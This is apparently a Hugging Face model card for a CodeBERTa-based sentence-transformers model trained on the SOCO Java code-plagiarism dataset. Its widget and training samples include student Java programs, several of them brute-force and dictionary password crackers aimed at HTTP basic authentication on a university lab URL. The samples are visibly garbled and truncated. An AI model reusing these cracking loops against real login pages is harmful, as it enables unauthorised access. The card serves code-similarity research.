      - "import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\nimport java.*;\nimport java.util.*;\n\n\npublic class WatchDog\n{\n    public static FileWriter out = null, output = null;\n\n    public static void main (String args[]) throws Exception {\n\tSocket socket = null;\n\tDataOutputStream  = null;\n\tBufferedReader bf = null, fr = null;\n\tString retVal = null, StatusCode = \"HTTP/1.1 200 OK\";\n    int dirty = 0, count = 0;\n\n         stime = System.currentTimeMillis();\n        System.out.println(\"Detecting the changes...\");\n\n        try {\n\n\t        \n            URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\");\n            URLConnection yc = yahoo.openConnection();\n\n            \n            BufferedReader in = new BufferedReader(\n                                    new InputStreamReader(\n                                    yc.getInputStream()));\n\n            String inputLine;\n            try {\n                out = new FileWriter(\"newstudent\");\n                while ((inputLine = in.readLine()) != null){\n                        out.write(inputLine + \"\\n\");\n                }\n            } catch (IOException ex) {\n                ex.printStackTrace();\n            }\n            in.print();\n            out.print();\n\n            dirty = diff();\n            if (dirty == 1){\n               sendMail();\n               System.out.println(\"Changes detected and email sent!\");\n            }\n\n            if (diffimages() == 1){\n               sendMail();\n               System.out.println(\"Images modification detected and email sent!\");\n            }\n\n            updatePage();\n            System.out.println(\"** End of WatchDog checking **\");\n\n            } catch (Exception ex) {\n              ex.printStackTrace();\n            }\n    }\n\n    public static int diff()\n    {\n       int update = 0;\n\n       try{\n           Process process = Runtime.getRuntime().exec(\"diff -b RMITCSStudent newstudent\");\n           BufferedReader pr = new BufferedReader(\n                                   new InputStreamReader(\n                                   process.getInputStream()));\n\n           output = new FileWriter(\"output\");\n           String inputLine;\n           while ((inputLine = pr.readLine()) != null){\n                 output.write(inputLine + \"\\n\");\n                 update = 1;\n           }\n           output.promt();\n\n       }catch (Exception ex){\n              ex.printStackTrace();\n       }\n       return update;\n    }\n\n    public static int diffimages()\n    {\n       int update = 0;\n       String image;\n\n       try{\n           Process primages = Runtime.getRuntime().exec(\"./images.sh\");\n           wait(1);\n           File imageFile = new File(\"imagesname\");\n           BufferedReader fr = new BufferedReader(new FileReader(imageFile));\n\n           output = new FileWriter(\"output\");\n           while ((image = fr.readLine()) != null) {\n                 primages = Runtime.getRuntime().exec(\"diff \" + image + \" o\"+image);\n                 BufferedReader pr = new BufferedReader(\n                                       new InputStreamReader(\n                                       primages.getInputStream()));\n\n                 String inputLine;\n                 while ((inputLine = pr.readLine()) != null){\n                       output.write(inputLine + \"\\n\");\n                       update = 1;\n                 }\n           }\n           output.print();\n           fr.close();\n\n       }catch (Exception ex){\n              ex.printStackTrace();\n       }\n       return update;\n    }\n\n    public static void sendMail()\n    {\n       try{\n           Process mailprocess = Runtime.getRuntime().exec(\"./email.sh\");\n       }catch (Exception ex){\n           ex.printStackTrace();\n       }\n    }\n\n    public static void updatePage()\n    {\n       String image;\n\n       try{\n           Process updateprocess = Runtime.getRuntime().exec(\"cp newstudent RMITCSStudent\");\n           Process deleteprocess = Runtime.getRuntime().exec(\"rm newstudent\");\n\n           File inputFile = new File(\"imagesname\");\n           BufferedReader fr = new BufferedReader(new FileReader(inputFile));\n           while ((image = fr.readLine()) != null) {\n                 updateprocess = Runtime.getRuntime().exec(\"cp \" + image + \" o\" + image);\n                 deleteprocess = Runtime.getRuntime().exec(\"rm \" + image);\n           }\n           fr.close();\n       }catch (Exception ex){\n           ex.printStackTrace();\n       }\n    }\n\n    public static void wait(int time){\n\t   int timer, times;\n\t   timer = System.currentTimeMillis();\n\t   times = (time * 1000) + timer;\n\n\t   while(timer < times)\n\t\t\ttimer = System.currentTimeMillis();\n\t}\n}"
      - "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\n\npublic class  BruteForce\n{\n\n\tprivate String result =\"\";\n\n\tpublic class customAuthenticator extends Authenticator {\n\t       public customAuthenticator(String passwd)\n           {\n            this.pass = passwd;\n           }\n\n\t       protected PasswordAuthentication getPasswordAuthentication()\n           {\n\t                 return new PasswordAuthentication(\"\",pass.toCharArray());\n           }\n           public String pass;\n    }\n\n    public BruteForce() {\n            java.util.Date d = java.util.Calendar.getInstance().getTime();\n            System.out.println(d.toString());\n\t\tchar words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',\n\t\t\t\t\t\t\t  'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G',\n\t\t\t\t\t\t\t   'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\n\t\tString record = null;\n\n\n\n        String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n\n\t\tchar pass[] = {'x','x','x'};\n\t\tint count=1;\n\t\tString passwd=new String();\n        HttpURLConnection connection = null;\n        URL u = null;\n\n        try\n        {\n         u = new URL(url);\n\n        }\n        catch (MalformedURLException e)\n        {\n        }\n\n        for(int a=0;a<words.length;a++)\n        {\n                for(int b=0;b<words.length;b++)\n                {\n                        for(int c=0;c<words.length;c++)\n                        {\n                                 pass[0]=words[a];\n                                 pass[1]=words[b];\n                                 pass[2]=words[c];\n                                 passwd=passwd.copyValueOf(pass,0,3);\n                                 System.out.println(count+ \" ) \" + passwd);\n                                 count++;\n                                 try\n                                 {\n\n                                       connection = (HttpURLConnection) u.openConnection();\n                                       Authenticator.setDefault(new customAuthenticator(passwd));\n\n                                       if (connection.getResponseCode()!=401)\n                                       {\n                                            System.out.print(\"The password is : \"+passwd);\n                                            System.out.println();\n                                            java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n                                            System.out.println(d1.toString());\n                                            System.out.println(\"\\ntime taken in seconds:\"+ (d1.getTime() - d.getTime())/1000+\"\\n\");\n\n                                            System.exit(0);\n                                       }\n                                       else\n                                       {\n                                       }\n                                       connection.disconnect();\n                                 }\n                                 catch (IOException e)\n                                 {\n                                       System.out.println(e);\n                                 }\n                        }\n                }\n        }\n    }\n\n\tpublic static void main(String[] args)\n\t{\n\n\n\t\tBruteForce  = new BruteForce();\n\t}\n}"
datasets:
  - buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers

SentenceTransformer based on huggingface/CodeBERTa-small-v1

This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass")
# Run inference
sentences = [
    '\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\npublic class WatchDog\n{\n\n   \n   public static void main(String args[])throws Exception\n   {\n        Process p1,p2,p3,p4,p5;\n        \n        for(;;)\n        {\n          \n\n          String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \\"Part 2-Assignment2 \\"  < change.html"};\n          String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};\n          String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};\n          String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};\n          String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};\n          String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};\n\n\n          Process p = Runtime.getRuntime().exec("mkdir predir");\n          p.waitFor();\n          Process p1 = Runtime.getRuntime().exec("mkdir postdir");\n          p1.waitFor();\n\n          \n          p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");\n          p1.waitFor();\n\n          Process q2 = Runtime.getRuntime().exec(s2);\n          q2.waitFor();\n          Process q3 = Runtime.getRuntime().exec(s3);\n          q2.waitFor();\n\n          \n          Thread.sleep(86400000);\n\n          p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");\n          p3.waitFor();\n\n          Process q4 = Runtime.getRuntime().exec(s4);\n          q4.waitFor();\n          Process q5 = Runtime.getRuntime().exec(s5);\n          q5.waitFor();\n\n          try\n          {\n            String str;\n            p4 = Runtime.getRuntime().exec(s6);\n            DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n            p4.waitFor();\n            \n            System.out.println("The WatchDog - Returns 0 if  change  else 1");\n            System.out.println("Value :" + p4.exitValue());\n            try\n            {\n                while ((str = inp1.readLine()) != null)\n                {\n                    System.out.println(str);\n                }\n            }\n            catch (IOException e)\n            {\n                System.exit(0);\n            }\n\n          }\n          catch(FileNotFoundException e )\n          {\n              e.printStackTrace();\n          }\n\n          BufferedReader in = new BufferedReader(new FileReader("change.html"));\n          \n          if (in.readLine() != null)\n          {\n\n          try\n          {\n            String str1;\n            p5 = Runtime.getRuntime().exec(s1);\n            DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n            p5.waitFor();\n          try\n            {\n                while ((str1 = inp2.readLine()) != null)\n                {\n                    System.out.println(str1);\n                }\n            }\n            catch (IOException e1)\n            {\n                System.exit(0);\n            }\n\n          }\n          catch(FileNotFoundException exp)\n          {\n              exp.printStackTrace();\n          }\n\n        }\n    }\n  }\n}\n\n',
    'import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\n\npublic class  BruteForce\n{\n\n\tprivate String result ="";\n\n\tpublic class customAuthenticator extends Authenticator {\n\t       public customAuthenticator(String passwd)\n           {\n            this.pass = passwd;\n           }\n\n\t       protected PasswordAuthentication getPasswordAuthentication()\n           {\n\t                 return new PasswordAuthentication("",pass.toCharArray());\n           }\n           public String pass;\n    }\n\n    public BruteForce() {\n            java.util.Date d = java.util.Calendar.getInstance().getTime();\n            System.out.println(d.toString());\n\t\tchar words[] = { \'a\',\'b\',\'c\',\'d\',\'e\', \'f\', \'g\', \'h\', \'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\n\t\t\t\t\t\t\t  \'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\', \'A\',\'B\',\'C\',\'D\',\'E\', \'F\', \'G\',\n\t\t\t\t\t\t\t   \'H\', \'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\n\t\tString record = null;\n\n\n\n        String url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n\t\tchar pass[] = {\'x\',\'x\',\'x\'};\n\t\tint count=1;\n\t\tString passwd=new String();\n        HttpURLConnection connection = null;\n        URL u = null;\n\n        try\n        {\n         u = new URL(url);\n\n        }\n        catch (MalformedURLException e)\n        {\n        }\n\n        for(int a=0;a<words.length;a++)\n        {\n                for(int b=0;b<words.length;b++)\n                {\n                        for(int c=0;c<words.length;c++)\n                        {\n                                 pass[0]=words[a];\n                                 pass[1]=words[b];\n                                 pass[2]=words[c];\n                                 passwd=passwd.copyValueOf(pass,0,3);\n                                 System.out.println(count+ " ) " + passwd);\n                                 count++;\n                                 try\n                                 {\n\n                                       connection = (HttpURLConnection) u.openConnection();\n                                       Authenticator.setDefault(new customAuthenticator(passwd));\n\n                                       if (connection.getResponseCode()!=401)\n                                       {\n                                            System.out.print("The password is : "+passwd);\n                                            System.out.println();\n                                            java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n                                            System.out.println(d1.toString());\n                                            System.out.println("\\ntime taken in seconds:"+ (d1.getTime() - d.getTime())/1000+"\\n");\n\n                                            System.exit(0);\n                                       }\n                                       else\n                                       {\n                                       }\n                                       connection.disconnect();\n                                 }\n                                 catch (IOException e)\n                                 {\n                                       System.out.println(e);\n                                 }\n                        }\n                }\n        }\n    }\n\n\tpublic static void main(String[] args)\n\t{\n\n\n\t\tBruteForce  = new BruteForce();\n\t}\n}',
    'import java.Object;\nimport java.io.*;\nimport java.String;\nimport java.util.*;\n\nclass Dictionary{\n\n      public static void main(String [] args){\n              try\n                {\n                Date d = new Date();\n                String line1="";\n                String ps="";\n                String file1 = "words.txt";\n                String file2 = "index.html";\n                String endline="Authorization failed.";\n                String [] cmd = new String[4];\n                cmd[0] = "wget";\n                cmd[1] = "--http-user=";\n                cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n                FileReader fr1 = new FileReader(file1);\n                BufferedReader in1 = new BufferedReader(fr1);\n                while((line1 = in1.readLine())!=null)\n                {\n                  try{\n                    cmd[2] = connect(line1);\n                    Runtime.getRuntime().exec(cmd);\n                    if(line1.length()==3)\n                      ps = line1;\n                    System.out.println(cmd[2]);\n                    File f = new File(file2);\n                    if(f.exists())\n                    {\n                    System.out.println("password: " + ps);\n                    break;\n                    }\n                   }\n                    catch(IOException ex)\n                    {\n                        System.out.println("hello1");\n                    }\n\n                }\n                Date end = new Date();\n                System.out.println(d.toString());\n                System.out.println(end.toString());\n                System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds()));\n               }\n\n            catch(IOException e)\n            {\n              System.out.println("hello,didnt find file.");\n            }\n      }\n    public static String connect(String str1)\n            {\n                 char data[] = {\'-\',\'-\',\'h\',\'t\',\'t\',\'p\',\'-\',\'p\',\'a\',\'s\',\'s\',\'w\',\'d\',\'=\'};\n                 String str = new String(data);\n                 return str + str1;\n            }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

soco_train_java

  • Dataset: soco_train_java at 44ca4ff
  • Size: 30,069 training samples
  • Columns: label, text_1, and text_2
  • Approximate statistics based on the first 1000 samples:
    label text_1 text_2
    type int string string
    details
    • 0: ~99.80%
    • 1: ~0.20%
    • min: 51 tokens
    • mean: 448.9 tokens
    • max: 512 tokens
    • min: 54 tokens
    • mean: 464.58 tokens
    • max: 512 tokens
  • Samples:
    label text_1 text_2
    0 import java.io.;
    import java.net.
    ;
    import java.security.;
    import java.math.
    ;
    import java.;
    import java.util.
    ;


    public class WatchDog
    {
    public static FileWriter out = null, output = null;

    public static void main (String args[]) throws Exception {
    Socket socket = null;
    DataOutputStream = null;
    BufferedReader bf = null, fr = null;
    String retVal = null, StatusCode = "HTTP/1.1 200 OK";
    int dirty = 0, count = 0;

    stime = System.currentTimeMillis();
    System.out.println("Detecting the changes...");

    try {


    URL yahoo = new URL("http://www.cs.rmit.edu./students/");
    URLConnection yc = yahoo.openConnection();


    BufferedReader in = new BufferedReader(
    new InputStreamReader(
    yc.getInputStream()));

    String inputLine;
    try {
    out = new FileWriter("newstudent");
    while ((inp...

    import java.util.*;


    public class Cracker
    {
    private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
    private Vector v;

    public Cracker()
    {
    v = new Vector( 52);
    }
    public void loadLetters()
    {
    int i;

    for( i = 0; i < letters.length; i++)
    {
    String s = new StringBuffer().append( letters[i]).toString();
    v.add( s);
    }
    }
    public Vector getVictor()
    {
    return ;
    }
    public void loadPairs()
    {
    int i,j;

    for( i = 0; i < letters.length - 1; i++)
    {
    for( j = i + 1; j < letters.length; j++)
    {
    String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
    String s2 = new StringBuffer().append( letters[j]).append( letters[i])....
    0
    import java.net.;
    import java.
    ;
    import java.io.*;
    import java.util.GregorianCalendar;
    public class BruteForce
    {

    private char passwd_Array []={'a','b','c','d','e','f','g','h','i','j','k',
    'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B',
    'C','D','E','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V',
    'W','X','Y','Z','0','1','2','3','4','5','6','7','8','9',''','.','&'};
    private int num=1;
    public void crackAddress() throws Exception
    {
    String line,username="",passwd;
    int flag=0;
    Runtime run = Runtime.getRuntime();
    GregorianCalendar =new GregorianCalendar();
    for(int k=0;k {
    for(int j=0;j {
    for(int i=0;i {
    passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j]).append(passwd_Array[k])).toString();
    System....





    import java.io.InputStream;
    import java.util.Properties;

    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.rmi.PortableRemoteObject;
    import javax.sql.DataSource;



    public class DictionaryPropertyHelper {

    private static Properties dictProps;



    public DictionaryPropertyHelper() {
    }



    public static String getProperty(String pKey){
    try{
    initProps();
    }
    catch(Exception e){
    System.err.println("Error init'ing the dictionary Props");
    e.printStackTrace();
    }
    return dictProps.getProperty(pKey);
    }


    private static void initProps() throws Exception{
    if(dictProps == null){
    dictProps = new Properties();

    InputStream fis =
    DictionaryPropertyHelper.class.getResourceAsStream("/dictionary.properties");
    dictProps.load(fis);
    }
    }
    }

    0



    import java.net.;
    import java.io.
    ;
    import java.util.Date;

    public class BruteForce {
    private URL url;
    private HttpURLConnection connection;
    private static String[] lowerCase = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
    "k", "l", "m", "n", "o", "p", "q", "r", "s", "t",
    "u", "v", "w", "x", "y", "z"};
    private static String[] upperCase = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J",
    "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T",
    "U", "V", "W", "X", "Y", "Z"};
    private String userPassword, base64_userPassword;
    private static char wrongPass;

    public BruteForce() {
    wrongPass = 'Y';
    }

    public char determinePass(String inputURL, String userName, String passWord){

    try{
    url = new URL(inputURL);
    connection = (HttpURLConnection)url.openConnection();
    this.getEncoded(userName,...
    import java.io.*;

    class WatchDog {
    public static void main(String args[]) {

    if (args.length<1)
    {
    System.out.println("Correct Format Filename email address <username@cs.rmit.edu.> of the recordkeeper");
    System.exit(1);
    }

    while (true)
    {


    FileInputStream stream=null;
    DataInputStream word=null;
    String input=" ";


    try {


    String ls_str;


    Process ls_proc = Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students");
    try {
    Thread.sleep(2000);
    }catch (Exception e) {
    System.err.println("Caught ThreadException: " +e.getMessage());
    }

    String[] cmd = {"//sh","-c", "diff Index2.html index.html >report.txt "};

    ls_proc = Runtime.getRuntime().exec(cmd);


    try {
    Thread.sleep(2000);
    }catch (Exception e) {
    System.err.println("Caught ThreadException: " +e.getMessage());
    }



    if (ls_proc.exitValue()==2)
    {
    System.out.println("The file was checked for f...
  • Loss: SoftmaxLoss

Evaluation Dataset

soco_train_java

  • Dataset: soco_train_java at 44ca4ff
  • Size: 3,342 evaluation samples
  • Columns: label, text_1, and text_2
  • Approximate statistics based on the first 1000 samples:
    label text_1 text_2
    type int string string
    details
    • 0: ~99.50%
    • 1: ~0.50%
    • min: 51 tokens
    • mean: 451.02 tokens
    • max: 512 tokens
    • min: 54 tokens
    • mean: 464.38 tokens
    • max: 512 tokens
  • Samples:
    label text_1 text_2
    0 import java.io.;
    import java.net.
    ;











    public class BruteForce
    {
    private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
    private static String password;
    private static int length;
    private static int t_counter;
    private static int f_counter;

    private static int cases;

    private static int respCode;

    public BruteForce()
    {
    Authenticator.setDefault(new BruteForceAuthenticator());
    t_counter = 0;
    f_counter = 0;
    cases = 0;
    }

    public static void main (String[] args)
    {
    BruteForce bf = new BruteForce();
    String file = " ";
    while(respCode != 200)
    {
    file = bf.fetchURL();
    }
    System.out.println("Number of attempts: " + t_counter);
    System.out.println("Password: " + password);
    System.out.println(file);
    }

    private String fetchURL()
    {
    ...





    import java.io.IOException;
    import java.net.;

    import java.io.
    ;
    import java.util.*;



    public class BruteForce

    {

    static String strLetter[];

    static URL url = null;
    static URLConnection urlConnection;
    static InputStream urlStream;

    static String strExceptionPassword[];

    static int intExceptionCount = -1;

    static int intNumberOfConnectionAttempts = 0;

    static String username = "";

    static String strLastPasswordTested;



    public static void main (String args[])

    {



    Calendar calStart;
    Calendar calFinish;
    Date dateStart;
    Date dateFinish;
    lngStart;
    lngFinish;





    calStart = new GregorianCalendar();
    dateStart = calStart.getTime();
    lngStart = dateStart.getTime();




    System.out.println();
    System.out.println();






    populateArray();







    boolean boolPasswordFound...
    0



    import java.util.;
    import java.net.
    ;
    import java.io.;
    import misc.BASE64Encoder;
    import javax.swing.
    ;

    public class ConnectionThread extends Thread
    {
    private String url;
    private URL currURL;
    private URLConnection conn;
    private HoldSharedData sharedData;
    private int noOfThread;
    private int batch;

    public ConnectionThread( String pageURL, int wThread,
    int newBatch, HoldSharedData data )
    {
    super();
    url = pageURL;
    noOfThread = wThread;
    batch = newBatch;
    sharedData = data;
    }


    public void run()
    {
    try
    {
    currURL = new URL( url );

    for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&
    (i < sharedData.getPwdCount()); i ++ )
    {
    String pwd = sharedData.getPasswordAt( i );

    conn = currURL.openConnection();

    ...
    import java.net.;
    import java.io.
    ;


    public class EmailClient
    {
    private String sender, recipient, hostName;

    public EmailClient(String nSender, String nRecipient, String nHost)
    {
    sender = nSender;
    recipient = nRecipient;
    hostName = nHost;
    }

    public void sendMail(String subject, String message)
    {
    try
    {
    Socket s1=null;
    InputStream is = null;
    OutputStream os = null;

    DataOutputStream = null;

    s1 = new Socket(hostName,25);
    is = s1.getInputStream();
    os = s1.getOutputStream();

    bd = new DataOutputStream(os);

    BufferedReader response = new BufferedReader(new InputStreamReader(is));

    bd.writeBytes("HELO "+ InetAddress.getLocalHost().getHostName() + "\r\n");

    waitForSuccessResponse(response);

    bd.writeBytes("MAIL FROM:"+sender+"\n");

    waitForSuccessResponse(response);

    bd.writeBytes("RCPT :"+recipient+"\n");

    waitForSuccessResponse(response);

    bd.writeBytes("data"+"\n");

    bd.writeBytes("Subject:"+subject+"\n");

    bd.writeBy...
    0 import java.io.;
    import java.util.
    ;
    import java.text.;
    import java.net.
    ;


    public class LoginAttempt
    {




    private String urlName = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
    private String userName = "";
    private String connectString = "";


    public LoginAttempt()
    {
    }




    public LoginAttemptResults tryPasswords(String [] casedPasswords, int passwordsTried)
    {
    boolean foundPassword = false;
    LoginAttemptResults results = new LoginAttemptResults();

    for( i = 0; i < casedPasswords.length; i++)
    {
    passwordsTried++;
    try
    {
    URL targetURL;
    HttpURLConnection connection;
    targetURL = new URL(urlName);
    connection = (HttpURLConnection) targetURL.openConnection();

    connectString = userName + ":" + casedPasswords[i].trim();
    connectString = new targetURL.misc.BASE64Encoder().encode(connectString.getByt...

    package java.httputils;

    import java.io.BufferedInputStream;
    import java.io.IOException;
    import java.net.HttpURLConnection;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.net.URLConnection;
    import java.sql.Timestamp;


    public class HttpRequestClient
    {
    protected URL serverURL;
    protected java.net.HttpURLConnection httpConnection;
    protected Timestamp start;
    protected Timestamp end;
    protected StringBuffer content = new StringBuffer();
    protected int millis;
    protected int code;

    public HttpRequestClient(String url)
    throws MalformedURLException, IOException
    {
    setServerURL(new URL(url));

    setStart(new Timestamp(System.currentTimeMillis()));


    setHttpConnection(
    (HttpURLConnection)this.getServerURL().openConnection());
    doRequest();
    }


    public HttpRequestClient()
    {
    super();
    }


    public int doRequest()
    throws IOException
    {...
  • Loss: SoftmaxLoss

Training Hyperparameters

Non-Default Hyperparameters

  • eval_strategy: steps
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • num_train_epochs: 1
  • warmup_ratio: 0.1
  • fp16: True

All Hyperparameters

Click to expand
  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: steps
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1.0
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.1
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: proportional

Training Logs

Epoch Step Training Loss Validation Loss
0.0532 100 0.0842 0.0238
0.1064 200 0.0111 0.0203
0.1596 300 0.0061 0.0253
0.2128 400 0.0243 0.0203
0.2660 500 0.0311 0.0209
0.3191 600 0.0212 0.0203
0.3723 700 0.0137 0.0237
0.4255 800 0.03 0.0199
0.4787 900 0.0104 0.0195
0.5319 1000 0.0141 0.0201
0.5851 1100 0.0214 0.0186
0.6383 1200 0.0151 0.0192
0.6915 1300 0.0219 0.0185
0.7447 1400 0.0152 0.0184
0.7979 1500 0.0082 0.0192
0.8511 1600 0.0128 0.0182
0.9043 1700 0.0155 0.0172
0.9574 1800 0.0102 0.0174

Framework Versions

  • Python: 3.11.13
  • Sentence Transformers: 4.1.0
  • Transformers: 4.52.4
  • PyTorch: 2.6.0+cu124
  • Accelerate: 1.7.0
  • Datasets: 3.6.0
  • Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers and SoftmaxLoss

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}